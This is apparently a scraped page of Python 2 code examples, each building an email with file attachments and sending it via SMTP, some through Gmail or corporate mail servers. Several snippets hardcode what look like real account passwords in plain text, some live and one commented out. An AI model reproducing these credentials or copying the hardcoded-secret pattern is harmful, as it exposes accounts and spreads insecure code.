Beispiel #1
0
def send_mail(send_from, send_to, subject, text, files=[], server="localhost", port=25):
    assert type(send_to)==list
    assert type(files)==list

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', 'ISO-8859-1', 'UTF-8':
        try:
            text.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text.encode(body_charset), 'plain', body_charset) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)

    smtp = smtplib.SMTP(host=server, port=port, local_hostname='cked.es')
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Beispiel #2
0
def send_mail(send_to, subject, text, file):

    msg = MIMEMultipart()
    msg['From'] = 'ITLand.Root <*****@*****.**>'
    msg['To'] = send_to
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    part = MIMEBase('application', "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    #server = smtplib.SMTP('smtp.gmail.com:587')
    #server.starttls()
    #server.login('jenko.kov', 'efi42dekut')
    #server.sendmail(send_from, send_to, msg.as_string())
    #server.quit()

    server = smtplib.SMTP('172.16.10.254:25')
    server.sendmail(send_from, send_to, msg.as_string())
    server.quit()
def sendEmail(to, subject, text, files=[]):
        assert type(to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = USERNAME
        msg['To'] = COMMASPACE.join(to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for file in files:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(open(file, "rb").read() )
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="%s"'% os.path.basename(file))
                msg.attach(part)

                server = smtplib.SMTP('smtp.gmail.com:587')
                server.ehlo_or_helo_if_needed()
                server.starttls()
                server.ehlo_or_helo_if_needed()
                server.login(USERNAME,PASSWORD)
                server.sendmail(USERNAME, MAILTO, msg.as_string())
                server.quit()
Beispiel #4
0
def mail(to, subject, text, attach):
   print '\nPlease enter password to connect with your Gmail account'
   password = getpass.getpass()
   msg = MIMEMultipart()

   msg['From'] = sender
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(sender, password)
   mailServer.sendmail(sender, to, msg.as_string())
   mailServer.close()
Beispiel #5
0
def mail(to, subject, text, attach):
    msg = MIMEMultipart()

    print gmail_user
    msg['From'] = gmail_user
    realToString=''
    for s in to:
        realToString = realToString + s + ","
#    print realToString,to, [gmail_user]+[]+to
    msg['To'] = gmail_user#realToString
    msg['Subject'] = subject

    msg.attach(MIMEText(text))


    #attach each file in the list
    for file in attach:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(file, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(file))
        msg.attach(part)

    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)
    mailServer.sendmail(gmail_user, [gmail_user]+[]+to, msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.close()
    def get_mail_text(self, fields, request, **kwargs):
        """ Get header and body of e-amil as text (string)
            This will create both parts of the e-mail: text and the XML file
        """

        headerinfo, additional_headers, body = self.get_header_body_tuple(fields, request, **kwargs)
        body_xml = self.get_mail_text_in_xml(fields, request, **kwargs)

        self.safe_xml_in_filesystem(body_xml)

        mime_text = MIMEText(body, _subtype=self.body_type or 'html', _charset=self._site_encoding())
        attachments = self.get_attachments(fields, request)

        outer = MIMEMultipart()
        outer.attach(mime_text)

        # write header
        for key, value in headerinfo.items():
            outer[key] = value

        # write additional header
        for a in additional_headers:
            key, value = a.split(':', 1)
            outer.add_header(key, value.strip())

        for attachment in attachments:
            filename = attachment[0]
            ctype = attachment[1]
            encoding = attachment[2]
            content = attachment[3]

            if ctype is None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            if maintype == 'text':
                msg = MIMEText(content, _subtype=subtype)
            elif maintype == 'image':
                msg = MIMEImage(content, _subtype=subtype)
            elif maintype == 'audio':
                msg = MIMEAudio(content, _subtype=subtype)
            else:
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(content)
                # Encode the payload using Base64
                Encoders.encode_base64(msg)

            # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=filename)
            outer.attach(msg)

        ctype = 'application/octet-stream'
        maintype, subtype = ctype.split('/', 1)
        p = MIMEBase(maintype, subtype)
        p.set_payload(body_xml)
        p.add_header('content-disposition', 'attachment', filename='form.xml')
        Encoders.encode_base64(p)
        outer.attach(p)
        return outer.as_string()
def mail(to, subject, text, attach):
   msg = MIMEMultipart()

   msg['From'] = gmail_user
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   print os.path.basename
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Beispiel #8
0
def send_email_csv_attach(toaddrs, mail, csv_fn, fromaddr=EMAIL_SENDER_ADDR):
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddrs
    msg['Subject'] = 'please check attached csv file for cr status'
    msg.preamble = 'You will not see this in a MIME-aware mail reader.\n'
    # To guarantee the message ends with a newline
    msg.epilogue = ''

    #body
    text = MIMEText(mail)
    msg.attach(text)

    #attachment
    csv = MIMEBase('text', 'x-comma-separated-values')
    fp = open(csv_fn, 'rb')
    csv.set_payload(fp.read())
    Encoders.encode_base64(csv)
    csv.add_header('Content-Disposition', 'attachment', filename=os.path.basename(csv_fn))
    msg.attach(csv)

    server = smtplib.SMTP('remotesmtp.mot.com')
    server.set_debuglevel(1)
    server.sendmail(fromaddr, toaddrs, msg.as_string())
    server.quit()
Beispiel #9
0
def send_file_via_mail(file, subject, message, mail_to, mail_from, smtp_server, smtp_port, mail_password_env_name):
    msg = MIMEMultipart()

    msg['From'] = mail_from
    msg['To'] = mail_to
    msg['Subject'] = subject

    body = message

    msg.attach(MIMEText(body, 'plain'))

    filename = file
    attachment = open(filename, "rb")

    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    msg.attach(part)

    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(mail_from, os.getenv(mail_password_env_name))
    text = msg.as_string()
    server.sendmail(mail_from, mail_to, text)
    server.quit()
def mail(to, frm, subject, text, attach, smtphost, smtpuser, smtppass):
   msg = MIMEMultipart()

   msg['From'] = frm
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
	
   if attach:
     part = MIMEBase('application', 'octet-stream')
     part.set_payload(open(attach, 'rb').read())
     Encoders.encode_base64(part)
     part.add_header('Content-Disposition',
        'attachment; filename="%s"' % os.path.basename(attach))
     msg.attach(part)

   mailServer = smtplib.SMTP(smtphost, 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(smtpuser, smtppass)
   mailServer.sendmail(smtpuser, to, msg.as_string())
   # todo, we should keep server open if we send a list of emails, do this on a to user bases for lists
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
    def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
        assert type(send_to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = send_from
        msg['To'] = COMMASPACE.join(send_to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for f in files:
            part = MIMEBase('application', "octet-stream")
            part.set_payload( open(f,"rb").read() )
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
            msg.attach(part)

        #Set Email smtp parameters
        smtp = smtplib.SMTP('smtp.gmail.com:587')
        smtp.starttls()
        smtp.login('*****@*****.**', 'pythonheat1')
        smtp.sendmail(send_from, send_to, msg.as_string())
        smtp.close()
def mail(to, subject, text, attach=None):
   msg = MIMEMultipart()

   msg['From'] = email_settings.email_from_addr
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
  
   if attach:
       print attach
       print os.path.normpath(attach)
       fp = open(attach, 'r')
       msg.attach(MIMEText(fp.read()))# Put the attachment in line also
       fp.close()

       part = MIMEBase('application', 'octet-stream')
       part.set_payload(open(attach, 'rb').read())
       Encoders.encode_base64(part)
       part.add_header('Content-Disposition',
               'attachment; filename="%s"' % os.path.basename(attach))
       msg.attach(part)
   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(email_settings.email_from_addr, email_settings.gmail_pwd)
   mailServer.sendmail(email_settings.email_from_addr, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Beispiel #13
0
    def sendmail(self, destination, subject, message, attach = None):        
        try:
            msg = MIMEMultipart()

            msg['From'] = self.username
            msg['Reply-to'] = self.username
            msg['To'] = destination
            msg['Subject'] = subject

            msg.attach(MIMEText(message))

            if attach:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(attach))
                msg.attach(part)

            mailServer = SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            try:
                mailServer.login(self.username, self.password)
                mailServer.sendmail(self.username, destination, msg.as_string())
            finally:
                mailServer.close()
        except Exception, exc:
            sys.exit("Failed to send mail; %s" % str(exc))
Beispiel #14
0
def send_mail(send_to, subject, text, files=[], server='localhost',
        username=None, password=None):

    send_from = '*****@*****.**'

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    for f in files:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(f, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % basename(f))
        msg.attach(part)

    smtp = SMTP(server)
    if username is not None:
        smtp.login(str(username), str(password))

    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Beispiel #15
0
def mail(to, cc, subject, text, attach):
    '''Sends email from [email protected]'''
    username = "******"
    password = "******"
    msg = MIMEMultipart()

    msg['From'] = username
    msg['To'] = ", ".join(to)
    msg['Subject'] = subject
    msg['Cc'] = ", ".join(cc)

    msg.attach(MIMEText(text))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)

    mailServer = smtplib.SMTP("smtp.fordfound.org", 25)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(username, password)
    mailServer.sendmail(username, to+cc, msg.as_string())
    mailServer.close()
Beispiel #16
0
def sendEmail(send_from, send_to, subject, text, cc_to=[], files=[], server="192.168.42.13"):
    assert type(send_to)==list
    assert type(files)==list

    msg=MIMEMultipart()
    msg.set_charset("utf-8")
    msg['From']=send_from
    msg['To']=COMMASPACE.join(send_to)

    if cc_to:
        assert type(cc_to)==list
        msg['cc']=COMMASPACE.join(cc_to)
        send_to.extend(cc_to)

    msg['Date']=formatdate(localtime=True)
    msg['Subject']=subject

    msg.attach(MIMEText(text))

    for f in files:
        part=MIMEBase('application', "octet-stream")
        part.set_payload(open(f, "rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'%Header(os.path.basename(f), 'utf-8'))
        msg.attach(part)

    smtp=smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
    import smtplib
    import os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    assert type(send_to)==list
    assert type(files)==list

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)
  
    smtp = smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
def SendEmail(fPaths, isAttachmt, body, toList, ccList, bccList, subject):
	
	HOST = "cormailgw.raleighnc.gov"
	#FROM = "*****@*****.**"
	FROM = "*****@*****.**"
	TO = toList
	CC = ccList
	BCC = bccList
	msg = MIMEMultipart()
	msg['FROM'] = FROM 
	msg['TO'] = TO
	msg['CC'] = CC
	msg['BCC'] = BCC
	msg['Date'] = formatdate(localtime = True)
	msg['Subject'] = subject
	msg.attach(MIMEText(body))
	if isAttachmt:
		for fPath in fPaths:
			part = MIMEBase('text/plain', 'octet-stream')
			part.set_payload(open(fPath, 'rb').read())
			Encoders.encode_base64(part)
			part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(fPath))
			msg.attach(part)
			print ("message attached")
	server = smtplib.SMTP(HOST)
	print ("Connected to server")
	server.sendmail(FROM, TO.split(",") + CC.split(",") + BCC.split(","), msg.as_string())
	print ("Sending Email...")
	server.close()
	for fPath in fPaths:
		os.remove(fPath)	
	print ("Email sent")
def mail(To,From,Server='localhost',Subject='',Message='',Attachments=[]):
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.utils import COMMASPACE, formatdate
    from email import Encoders
    
    To = ','.join(To)
    msg = MIMEMultipart()
    msg['From'] = From
    msg['To'] = To
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = Subject
    
    msg.attach(MIMEText(Message))
    
    if Attachments:
        for file in Attachments:
            part = MIMEBase('application','octet-stream')
            part.set_payload(open(file,'rb').read())
            part.add_header('Content-Disposition','attachment; filename=%s' % os.path.basename(file))
            msg.attach(part)
    
    smtp = smtplib.SMTP(Server)
    smtp.sendmail(From,To,msg.as_string())
    smtp.close()
Beispiel #20
0
def send_mail(server, port, account, password, tls, _from, to, subject, message, files):
    conn = smtplib.SMTP(server, port, timeout=settings.SMTP_TIMEOUT)
    if tls:
        conn.starttls()
    
    if account and password:
        conn.login(account, password)
    
    email = MIMEMultipart()
    email['Subject'] = subject
    email['From'] = _from
    email['To'] = ', '.join(to)
    email.attach(MIMEText(message))
    
    for file in reversed(files):
        part = MIMEBase('image', 'jpeg')
        with open(file, 'rb') as f:
            part.set_payload(f.read())
        
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
        email.attach(part)
    
    if files:
        logging.debug('attached %d pictures' % len(files))

    logging.debug('sending email message')
    conn.sendmail(_from, to, email.as_string())
    conn.quit()
Beispiel #21
0
def load_attachment(file):
    part = MIMEBase("application", "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))

    return part
Beispiel #22
0
def send_mail(send_from, send_to, subject, text, files=[], server='smtp.typa.ru'):
	from smtplib import SMTP
	from os import path
	from email.MIMEMultipart import MIMEMultipart
	from email.MIMEBase import MIMEBase
	from email.MIMEText import MIMEText
	from email.Utils import COMMASPACE, formatdate
	from email import Encoders
	from email.header import Header

	assert type(send_to)==list
	assert type(files)==list
	msg = MIMEMultipart()
	msg['From'] = Header(send_from.decode("utf-8")).encode()
	msg['To'] = Header(COMMASPACE.join(send_to).decode("utf-8")).encode()
	msg['Date'] = formatdate(localtime=True)
	msg['Subject'] = Header(subject.decode("utf-8")).encode()
	msg.attach( MIMEText(text,'plain','UTF-8') )

	for f in files:
		part = MIMEBase('application', "octet-stream")
		part.set_payload( open(f,"rb").read() )
		Encoders.encode_base64(part)
		part.add_header('Content-Disposition', 'attachment; filename="%s"' % path.basename(f))
		msg.attach(part)
	smtp = SMTP(server, 25)
	smtp.sendmail(send_from, send_to, msg.as_string())
	smtp.close()		
Beispiel #23
0
    def attach(self, filename, mime=None, charset=None, content=None):
        base = os.path.basename(filename)
        if content is None:
            fd = open(filename)
            content = fd.read()
            fd.close()

        if not isinstance(content, types.StringType):
            raise TypeError("don't know how to handle content: %s" % type(content))
        
        part = MIMEBase("application", "octet-stream")
        part.set_payload(content)
        Encoders.encode_base64(part)
        part.add_header("Content-Disposition", "attachment; filename=\"%s\"" % base)
        
        if mime is not None:
            part.set_type(mime)

        if charset is not None:
            part.set_charset(charset)

        if self.msg is None:
            self.msg = MIMEMultipart()
            self.msg.attach(self.message)

        self.msg.attach(part)
Beispiel #24
0
def sendmail(subject):
    MAIL_FROM = '*****@*****.**'
    MAIL_TO = ['*****@*****.**']
    BAK_DIR = '/path/to/bak/folder'

    msg = MIMEMultipart()
    msg['From'] = MAIL_FROM
    msg['Subject'] = subject

    msg.attach( MIMEText('test send attachment') )
    for filename in os.listdir(BAK_DIR):
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(os.path.join(BAK_DIR, filename),"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(filename))
        msg.attach(part)

    try:
        smtp = ExtendedSMTP()
        smtp.callback = callback
        smtp.connect('smtp.qq.com', 25)
        smtp.login('mymail', 'mypwd')
        smtp.sendmail(MAIL_FROM, MAIL_TO, msg.as_string())
        smtp.close()
        os.system('rm -f %s/*' % BAK_DIR)
    except Exception, e:
        print e
def send_mail(send_from, send_to, subject, text, files=[], server="localhost",password=None,user=None):
  if type(send_to) in types.StringTypes: send_to = [send_to]
  if files is None: files = []
  assert type(files)==list

  msg = MIMEMultipart()
  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject

  msg.attach( MIMEText(text) )

  for f in files:
    part = MIMEBase('application', "octet-stream")
    content = open(f, 'rb').read()
    part.set_payload(content)
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  if password:
    if not user: user = msg['From']
    smtp.starttls()  
    smtp.login(user,password)      
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Beispiel #26
0
def send_email(to, name, file):
    import smtplib, os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders

    msg = MIMEMultipart()
    msg["Subject"] = "Your task is processed"
    msg["From"] = "poddy.org"
    msg["To"] = to

    msg.attach(MIMEText("Dear %s, thank you for using SourceAnalyzer Web!" % name))
    msg.attach(MIMEText("See in attachment."))

    part = MIMEBase("application", "octet-stream")

    f = open(file, "rb")
    part.set_payload(f.read())
    f.close()

    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    s = smtplib.SMTP("localhost")
    s.sendmail("*****@*****.**", [to], msg.as_string())
    s.quit()
Beispiel #27
0
def send_mail(send_from, send_to, subject, text, files=[], html=None, server="localhost"):
  assert type(send_to)==list
  assert type(files)==list

  if html:
    msg = MIMEMultipart('alternative')
    textbody = dehtml(text)
    part1 = MIMEText(textbody, 'plain')
    part2 = MIMEText(text, 'html')
    msg.attach(part1)
    msg.attach(part2)
  else:  
    msg = MIMEMultipart()
    msg.attach( MIMEText(text) )

  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject
  
  for f in files:
    part = MIMEBase('application', "octet-stream")
    part.set_payload( open(f,"rb").read() )
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Beispiel #28
0
    def attach(self, filename, mime=None, charset=None, content=None):
        """Attach files to this message.

        Example::

            msg.attach("me.png", mime="image/png")

        It also supports fake attachments::

            msg.attach("fake.txt", mime="text/plain", content="gotcha")
        """
        base = os.path.basename(filename)
        if content is None:
            fd = open(filename)
            content = fd.read()
            fd.close()
        elif not isinstance(content, types.StringType):
            raise TypeError("Don't know how to attach content: %s" % repr(content))

        part = MIMEBase("application", "octet-stream")
        part.set_payload(content)
        Encoders.encode_base64(part)
        part.add_header("Content-Disposition", "attachment", filename=base)

        if mime is not None:
            part.set_type(mime)

        if charset is not None:
            part.set_charset(charset)

        if self.msg is None:
            self.msg = MIMEMultipart()
            self.msg.attach(self.message)

        self.msg.attach(part)
 def enviar_correos(self, pathfirma , partner, data):
     msg = MIMEMultipart()
     destinatario = ['%s <%s>' % (partner.name,partner.email) ] 
     msg['To'] = '%s' % partner.email
     msg['From'] = '*****@*****.**'        
     msg['Subject'] = 'factura numero %s' % str(data.number)                    
     name_file = 'DTE_PRUEBA_%s.xml'  % str(datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S"))
     msg.attach(MIMEText("""
     Estimado cliente adjunto factura N°<h3>%s</h3></br>
     sub total: %s</br>
     impuesto: %s</br>
     total: %s</br>"""%(str(data.number),str(data.amount_untaxed),str(data.amount_tax),str(data.amount_total))
     ,'html'))                
     adjunto = MIMEBase('multipart', 'mixed')                
     with open(pathfirma, 'r') as myfile:
         adjunto.set_payload(myfile.read())
         myfile.close()        
     encoders.encode_base64(adjunto)        
     adjunto.add_header('Content-Disposition', 'attachment', filename='factura.xml')        
     msg.attach(adjunto)                
     mailServer = smtplib.SMTP('mail.econube.cl', 26)        
     mailServer.set_debuglevel(1)
     mailServer.ehlo()
     mailServer.starttls()                        
     mailServer.login("*****@*****.**","dte2015")
     mailServer.sendmail("*****@*****.**", destinatario, msg.as_string())
     mailServer.quit()
Beispiel #30
0
    def sendEmailAlert(self):
        msg = MIMEMultipart()
        alert = "Found hit for {matches} in pastie {url}".format(matches=self.matchesToText(), url=self.url)
        # headers
        msg['Subject'] = yamlconfig['email']['subject'].format(subject=alert)
        msg['From'] = yamlconfig['email']['from']
        msg['To'] = yamlconfig['email']['to']
        # message body
        message = '''
I found a hit for a regular expression on one of the pastebin sites.

The site where the paste came from :        {site}
The original paste was located here:        {url}
And the regular expressions that matched:   {matches}
The paste has also been attached to this email.

# LATER below follows a small exerpt from the paste to give you direct context

        '''.format(site=self.site.name, url=self.url, matches=self.matchesToRegex())
        msg.attach(MIMEText(message))
        # original paste as attachment
        part = MIMEBase('application', "octet-stream")
        part.set_payload(self.pastie_content)
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s.txt"' % (self.id))
        msg.attach(part)
        # send out the mail
        try:
            s = smtplib.SMTP(yamlconfig['email']['server'], yamlconfig['email']['port'])
            if 'username' in yamlconfig['email'] and yamlconfig['email']['username']:
                s.login(yamlconfig['email']['username'], yamlconfig['email']['password'])
            s.sendmail(yamlconfig['email']['from'], yamlconfig['email']['to'], msg.as_string())
            s.close()
        except smtplib.SMTPException, e:
            logger.error("ERROR: unable to send email: {0}".format(e))
Beispiel #31
0
from email.MIMEBase import MIMEBase
from email import Encoders

fromaddr = "*****@*****.**"
toaddr = "*****@*****.**"
attach = sys.argv[1]
subject = "www"

msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = subject

part = MIMEBase('application', "octet-stream")
part.set_payload(open(attach, "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename=' + attach)
msg.attach(part)

smtp = smtplib.SMTP('smtp.gmail.com:587')
#smtp = smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.esmtp_features["auth"] = "LOGIN PLAIN"
#smtp.debuglevel = 5
smtp.starttls()
smtp.ehlo()
smtp.login('netarch.emma', "emailcensor")
smtp.sendmail(fromaddr, toaddr, msg.as_string())
smtp.quit()
#smtp.close()
Beispiel #32
0
def send_email(address, file):

    gmail_user = '******'
    #ASP = open("C:\Users\Josh Thomason\Documents\Work\ASP.txt", 'r')
    ASP = open("D:\VM_Share\S1_api\ASP.txt", 'r')
    #ASP = open("ASP.txt", 'r')
    gmail_password = ASP.read()
    to = address  #, '*****@*****.**']
    subject = file.replace('.csv', '')

    msg = MIMEMultipart()

    msg['FROM'] = gmail_user
    msg['To'] = to
    msg['Subject'] = subject

    body = """
	Hello InfoSec team!

	Please find last week's list of assets with Sentinel One installed attached.

	Let me know if you have any questions or concerns!

	Thanks!

	Joshua Thomason
	Information Security Engineer
	AVX Corporation
	One AVX Blvd.
	Fountain Inn, SC 29644 USA
	TEL: (864) 967-2150 x8109
	[email protected]"""

    msg.attach(MIMEText(body, 'plain'))

    filename = file
    attachment = open(file, 'rb')

    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename=%s' % filename)

    msg.attach(part)

    #sent_from = gmail_user

    #message = 'Subject: {}\n\n{}'.format(subject, body)
    #email_text = """\
    #From: %s
    #To: %s
    #Subject: %s

    #%s
    #""" % (sent_from, ", ".join(to), subject, body)

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)
        text = msg.as_string()
        server.sendmail(gmail_user, to, text)
        server.close()

        print 'Email sent!'
    except:
        print 'Something went wrong...'

    return
def gencsv(out):

    #new_data=str(out.replace("msg: all out "," "))
    #second op
    #new_data=str(out) uncomment if below command do not work
    new_data = re.sub("msg: all out", "",
                      str(out))  #put \" before  all, comment if not wrk
    #print(new_data)
    register = new_data.split("-")

    #-------------------clear sample.csv to empy file
    sample = open("sample.csv", "w")
    sample.write("")
    sample.close()

    #----------extract info block
    try:
        with open("sample.csv", "a") as fl:
            data = csv.writer(fl, delimiter=",")
            data.writerow([
                "IP", "HOSTNAME", "OS VERSION", "CPU USAGE", "MEMORY USAGE",
                "ANSIBLE VERSION", "NGINX STATUS", "DB STATUS"
            ])
            print(
                "Output:\n\tPlease check sample.csv file in your current dir\n"
            )
            for rowReg in register:
                dt = open("raw-data.csv", "a")
                dt.write(str(rowReg).replace(" ", ""))
                dt.close()
            with open("raw-data.csv", "r") as fl:
                csv_data = csv.reader(fl, delimiter=",")
                for row in csv_data:
                    data.writerow([
                        str(row[0]).replace("Ip", ""),
                        str(row[1]).replace("hostnames", ""),
                        str(row[2]).replace("os_version",
                                            "").replace(" ", "No"),
                        str(row[3]).replace("cpu", ""),
                        str(row[4]).replace("mem", ""),
                        str(row[5]).replace("ansible", ""),
                        str(row[6]).replace("nginx", ""),
                        str(row[7]).replace("db", "")
                    ])
                    #print([str(row[0]).replace("Ip",""),str(row[1]).replace("hostnames",""),str(row[2]).replace("os_version",""),str(row[3]).replace("cpu",""),str(row[4]).replace("mem",""),str(row[5]).replace("ansible",""),str(row[6]).replace("nginx",""),str(row[7]).replace("db","")])

    finally:
        subprocess.Popen("rm -rf raw-data.csv",
                         shell=True,
                         stdout=subprocess.PIPE)  #remove temporary file

    #replacing NaN value with No
    rData = pd.read_csv("sample.csv", index_col="IP")
    rData = rData.fillna("NO")
    rData["DB STATUS"].replace("\.0", "", regex=True, inplace=True)
    print(rData)
    rData.to_csv("sample.csv", sep=",", encoding="utf-8")

    #sed command -uncomment next two command if re.sub above do not work
    #subprocess.Popen("sed 's/msg:\"allout//' sample.csv > sample1.csv", shell=True, stdout=subprocess.PIPE) #remove msg:"allout
    #subprocess.Popen("mv sample1.csv sample.csv", shell=True, stdout=subprocess.PIPE)

    #--sending mail
    msg = MIMEMultipart()
    msg["From"] = "*****@*****.**"
    msg["To"] = "*****@*****.**"
    msg["Subject"] = "Report Ansible."

    part = MIMEBase('application', "octet-stream")
    part.set_payload(open("sample.csv", "rb").read())
    Encoders.encode_base64(part)

    part.add_header('Content-Disposition', 'attachment', filename="sample.csv")

    msg.attach(part)

    p = subprocess.Popen(["/usr/sbin/sendmail", "-t", "-oi"],
                         stdin=subprocess.PIPE)
    p.communicate(msg.as_string())
Beispiel #34
0
                hostname, role_name, server_id)

